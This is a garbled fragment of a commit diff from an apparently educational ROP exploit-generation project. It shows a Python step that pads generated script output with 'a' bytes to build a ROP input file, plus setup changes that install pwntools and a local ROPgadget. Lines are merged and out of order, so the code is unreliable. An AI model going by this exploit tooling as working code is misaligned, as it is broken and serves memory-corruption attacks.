stdout = stdout.replace(b"p = ''\n", b"p = \"" + bytes('a' * offset, 'ascii') + b"\"\n") print(f"[🤔] Running generated script to create ROP input file...")
with open("test.py", "wb") as f: process(["python3", "script.py", rop_file]).wait()
f.write(stdout)
print(f"[🤩] All done! The ROP input is saved to {rop_file}!")

View File

@ -12,6 +12,9 @@ sudo apt-get --assume-yes --quiet install python3 python3-pip python3-dev git li
sudo apt-get --assume-yes --quiet install python sudo apt-get --assume-yes --quiet install python
python3 -m pip install --upgrade pip python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools python3 -m pip install --upgrade pwntools
python3 -m pip uninstall --yes ROPgadget
cd /home/vagrant/cw && ./ropinstall.sh
sudo apt-get clean sudo apt-get clean

4
ropinstall.sh Executable file
View File

@ -0,0 +1,4 @@
#!/bin/bash
cd ROPgadget && sudo python3 setup.py install